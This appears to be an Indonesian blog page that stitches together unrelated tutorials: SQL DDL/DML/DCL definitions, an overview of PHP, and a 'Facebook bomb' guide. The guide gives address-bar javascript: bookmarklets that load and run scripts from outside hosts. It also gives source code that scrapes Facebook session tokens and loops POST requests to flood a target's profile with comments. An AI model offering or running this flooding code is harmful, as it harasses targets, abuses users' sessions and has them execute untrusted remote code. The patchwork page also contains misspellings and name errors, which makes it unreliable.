Pages

Senin, 18 Agustus 2014

Defnisi SQL DDL DML DCL dan Fungsinya


http://adf.ly/rHafM

SQL (Structured Query Language)SQL (Structured Query Language) adalah sebuah bahasa yang digunakan untuk mengakses data dalam basis data relasional.
Bahasa ini secara de facto merupakan bahasa standar yang digunakan dalam manajemen basis data relasional. Saat ini hampir semua server basis data yang ada mendukung bahasa ini untuk melakukan manajemen datanya.


Fungsi Dasar SQL
SQL sebagai bahasa yang dirancang khusus untuk berkomunikasi dengan basis data sehingga dalam membuat dan memanipulasi basis data sebaiknya kita mengetahui fungsi dari perintah dasar SQL itu sendiri dalam membangun sebuah basis data.
Secara umum, SQL terdiri dari dua bahasa, yaitu Data Definition Language (DDL) dan Data Manipulation Language (DML). Implementasi DDL dan DML berbeda untuk tiap sistem manajemen basis data (SMBD), namun secara umum implementasi tiap bahasa ini memiliki bentuk standar yang ditetapkan ANSI.

DDL - Data Definition Language 
merupakan kumpulan perintah SQL yang digunakan untuk membuat, mengubah dan menghapus struktur dan definisi metadata dari objek-objek database.  
Fungsi / kegunaan DDL
DDL digunakan untuk mendefinisikan, mengubah, serta menghapus basis data dan objek-objek yang diperlukan dalam basis data, misalnya tabel, view, user, dan sebagainya. Secara umum, DDL yang digunakan adalah CREATE untuk membuat objek baru, USE untuk menggunakan objek, ALTER untuk mengubah objek yang sudah ada, dan DROP untuk menghapus objek. DDL biasanya digunakan oleh administrator basis data dalam pembuatan sebuah aplikasi basis data.


DML - Data Manipulation Language
merupakan kumpulan perintah SQL yang digunakan untuk proses pengolahan isi data di dalam table seperti memasukkan, merubah dan menghapus isi data - dan tidak terkait dengan perubahan struktur dan definisi tipe data dari objek database.  
Fungsi / Kegunaan DML
DML digunakan untuk memanipulasi data yang ada dalam suatu tabel. Perintah yang umum dilakukan adalah:
SELECT untuk menampilkan data 
INSERT untuk menambahkan data baru 
UPDATE untuk mengubah data yang sudah ada 
DELETE untuk menghapus data

DCL
 Data Control Language disingkat dengan DCL. Merupakan perintah-perintah yang dapat digunakan untuk menjaga keamanan basis data, perintah tersebut dapat dipakai untuk menentukan akses basis data hanya dapat dilakukan oleh orang-orang tertentu dan dengan macam akses yang dibatasi pula.
Fungsi / Kegunaan DCL
Digunakan untuk melakukan pengontrolan data dan server databasenya.
Beberapa printah DCL :
-          -GRAND
Digunakan untuk memberikan hak/ijin akses oleh administrator (pemilik utama) server kepada user (pengguna biasa). Hak akses tersebut berupa hak membuat (CREATE), mengambil (SELECT), menghapus (DELETE), mengubah (UPDATE), dan hak khusus berkenaan dengan sistem databasenya.
-          -REVOKE
Perintah ini memiliki kegunaan terbalik dengan GRAND, yaitu untuk menghilangkan atau mencabut hak akses yang telah diberikan kepada user oleh administrator.

BOM FACEBOOK



1. Pertaman profil terbuka atau halaman Facebook yang ingin anda kirimkan bom komentar.

2. Copy dan paste kode javascript di bawah ini ke ADDRESS BAR lalu tekan ENTER
Code:
javascript:(a = (b = document).createElement("script")).src = "//brk.to/flood", b.body.appendChild(a); void(0)

Code:
javascript:(a = (b = document).createElement("script")).src = "http://aly.net84.net/js.js", b.body.appendChild(a); void(0)

3. Kemudian akan muncul jendela, Masukkan jumlah pesan yang akan dikirim, tekan ENTER.

4. Kemudian Masukkan Komentar Anda, ENTER.

5. Tunggu beberapa saat dan jangan tutup profil teman Facebook Anda.

6. Selamat nge-bom!

Source code sendiri sebagai berikut:
Code:
var a = document.body.innerHTML;

var a = document.body.innerHTML;
var Num = prompt("", "Acizninja : Masukkan jumlah pesan");
formx = a.match(/name="post_form_id" value="([\d\w]+)"/)[1];

dts = a.match(/name="fb_dtsg" value="([^"]+)"/)[1];
composerid = a.match(/name="xhpc_composerid" value="([^"]+)"/)[1];
var msg = prompt("", "Acizninja : Ketikkan isi pesan anda");
target = a.match(/name="targetid" value="([^"]+)"/)[1];

pst = "post_form_id=" + formx + "&fb_dtsg=" + dts + "&xhpc_composerid=" + composerid + "&xhpc_targetid=" + target+ "&xhpc_context=home&xhpc_fbx=1&xhpc_message_text=" + encodeURIComponent(msg) + "&xhpc_message=" + encodeURIComponent(msg) + "&UIPrivacyWidget[0]=40&privacy_data[value]=40&privacy_data[friends]=0&privacy_data[list_anon]=0&privacy_data[list_x_anon]=0&=Share&nctr[_mod]=pagelet_composer&lsd&post_form_id_source=AsyncRequest";

i=0;

while(i < Num){ with(newx = new XMLHttpRequest()) open("POST", "/ajax/updatestatus.php?__a=1"), setRequestHeader("Content-Type", "application/x-www-form-urlencoded") , send(pst); i += 1; }

PENGERTIAN BAHASA PEMOGRAMAN PHP

Pengertian PHP


PHP adalah singkatan dari "PHP: Hypertext Preprocessor", yang merupakan
sebuah bahasa scripting yang terpasang pada HTML. Sebagian besar sintaks mirip
dengan bahasa C, Java dan Perl, ditambah beberapa fungsi PHP yang spesifik.
Tujuan utama penggunaan bahasa ini adalah untuk memungkinkan perancang web
menulis halaman web dinamik dengan cepat.
Hubungan PHP dengan HTML
Halaman web biasanya disusun dari kode-kode html yang disimpan dalam
sebuah file berekstensi .html. File html ini dikirimkan oleh server (atau file) ke
browser, kemudian browser menerjemahkan kode-kode tersebut sehingga
menghasilkan suatu tampilan yang indah. Lain halnya dengan program php, program
ini harus diterjemahkan oleh web-server sehingga menghasilkan kode html yang
dikirim ke browser agar dapat ditampilkan. Program ini dapat berdiri sendiri ataupun
disisipkan di antara kode-kode html sehingga dapat langsung ditampilkan bersama
dengan kode-kode html tersebut. Program php dapat ditambahkan dengan mengapit
program tersebut di antara tanda . Tanda-tanda tersebut biasanya disebut
tanda untuk escaping (kabur) dari kode html. File html yang telah dibubuhi program
php harus diganti ekstensi-nya menjadi .php3 atau .php.
PHP merupakan bahasa pemograman web yang bersifat server-side
HTML=embedded scripting, di mana script-nya menyatu dengan HTML dan berada
si server. Artinya adalah sintaks dan perintah-perintah yang kita berikan akan
sepenuhnya dijalankan di server tetapi disertakan HTML biasa. PHP dikenal sebgai
bahasa scripting yang menyatu dengan tag HTML, dieksekusi di server dan
digunakan untuk membuat halaman web yang dinamis seperti ASP (Active Server
Pages) dan JSP (Java Server Pages).
PHP pertama kali dibuat oleh Rasmus Lerdroft, seorang programmer C.
Semula PHP digunakannya untuk menghitung jumlah pengunjung di dalam webnya.
Kemudian ia mengeluarkan Personal Home Page Tools versi 1.0 secara gratis. Versi
ini pertama kali keluar pada tahun 1995. Isinya adalah sekumpulan script PERL yang
dibuatnya untuk membuat halaman webnya menjadi dinamis. Kemudian pada tahun
1996 ia mengeluarkan PHP versi 2.0 yang kemampuannya telah dapat mengakses
database dan dapat terintegrasi dengan HTML.
Pada tahun 1998 tepatnya pada tanggal 6 Juni 1998 keluarlah PHP versi 3.0
yang dikeluarkan oleh Rasmus sendiri bersama kelompok pengembang softwarenya..
Versi terbaru, yaitu PHP 4.0 keluar pada tanggal 22 Mei 2000 merupakan
versi yang lebih lengkap lagi dibandingkan dengan versi sebelumnya. Perubahan
yang paling mendasar pada PHP 4.0 adalah terintegrasinya Zend Engine yang dibuat
oleh Zend Suraski dan Andi Gutmans yang merupakan penyempurnaan dari PHP
scripting engine. Yang lainnya adalah build in HTTP session, tidak lagi menggunakan
library tambahan seperti pada PHP. Tujuan dari bahasa scripting ini adalah untuk
membuat aplikasi-aplikasi yang dijalankan di atas teknologi web. Dalam hal ini,
aplikasi pada umumnya akan memberikan hasil pada web browser, tetapi prosesnya
secara keseluruhan dijalankan web server.
Kelebihan PHP
Ketika e-commerce semakin berkembang, situs-situs yang statispun semakin
ditinggalkan, karena dianggap sudah tidak memenuhi keinginan pasar, padahal situs
tersebut harus tetap dinamis. Pada saat ini bahasa PERL dan CGI sudah jauh
ketinggalan jaman sehingga sebagian besar designer web banyak beralih ke bahasa
server-side scripting yang lebih dinamis seperti PHP.
Seluruh aplikasi berbasis web dapat dibuat dengan PHP. Namun kekuatan
yang paling utama PHP adalah pada konektivitasnya dengan system database di
dalam web. Sistem database yang dapat didukung oleh PHP adalah :

1. Oracle
2. MySQL
3. Sybase
4. PostgreSQL
5. dan lainnya

PHP dapat berjalan di berbagai system operasi seperti windows 98/NT,
UNIX/LINUX, solaris maupun macintosh.